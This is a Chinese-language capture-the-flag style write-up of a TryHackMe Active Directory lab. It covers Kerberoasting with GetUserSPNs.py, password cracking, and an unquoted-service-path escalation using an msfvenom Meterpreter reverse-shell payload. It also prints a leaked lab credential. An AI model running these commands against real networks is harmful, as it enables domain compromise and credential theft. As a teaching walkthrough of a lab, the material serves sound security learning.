Active Directory渗透测试实战:从域用户提权到系统控制
Active Directory渗透测试:企业级实战
Intro
这是TryHackMe平台上基于Active Directory渗透测试的困难级别靶机。目标是通过攻击Windows域控制器获取完全控制权。渗透路径包括:通过RDP获取初始立足点,再利用非引号服务路径漏洞进行特权提升。下面开始实战。
Nmap扫描
按惯例我们首先进行基础Nmap扫描,发现多个开放端口,其中80、88、389等端口值得关注,且3389端口运行着RDP服务。
技巧:nmap -sVC -p- -Pn -T4 <ip> -vv
Web枚举
- 首先访问80端口的Web服务器,未发现有效信息
- 使用GoBuster进行目录暴力枚举
- 发现robots.txt文件但无重要内容,提示应枚举服务而非Web服务器
- 在7990端口发现登录表单和提示信息:"Enterprise-THM已迁移至Github"
- 通过Google搜索找到用户Nik的Github仓库
- 在其mgmtScript.ps1文件的历史提交中发现凭证泄露
 凭证:nik : ToastyBoi!
AD域渗透
- 尝试用该凭证连接RDP失败
- 使用ldapdomaindump工具提取域信息
 技巧:ldapdomaindump <ip> -u 'LAB-ENTERPRISE\nik' -p <password>
- 分析生成的domain_users.html文件,发现nik用户无RDP权限,但bitbucket用户属于"Remote Desktop Users"组
- 使用Impacket的GetUserSPNs.py获取服务票据
 技巧:python3 GetUserSPNs.py -dc-ip <ip> 'LAB.ENTERPRISE.THM/nik:<password>' -request
- 用John破解Kerberos哈希获取RDP凭证
 技巧:john --wordlist=<path> has.txt
- 使用xfreerdp建立远程桌面会话
 技巧:xfreerdp /u:<username> /p:<password> /v:<ip>
用户权限获取
成功获取桌面上的第一个用户flag。
特权提升
- 上传winPEASx64.exe进行自动化检测,发现可被利用的非引号服务路径漏洞
 漏洞服务:zerotieroneservice
 路径:C:\Program Files (x86)\Zero Tier\Zero Tier one(注意路径中包含空格但未使用引号)
- 确认该路径可写后,使用msfvenom生成Windows载荷
 技巧:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=<any_port> -f exe -o shell.exe
- 将payload上传至C:\Program Files (x86)\Zero Tier\目录
- 在Metasploit中设置监听器
- 重启目标机上的zerotieroneservice服务
- 获得system32反向shell(初始会话不稳定)
- 使用进程迁移稳定会话
 技巧:migrate -N winlogon.exe
- 最终获得管理员权限并取得root flag
总结
通过本次实战,我们完整掌握了Active Directory渗透测试的关键技术链,包括信息收集、凭证提取、服务票据破解和非引号路径漏洞利用等高级技巧。
Happy Hacking~
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码

 
                    
                
 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号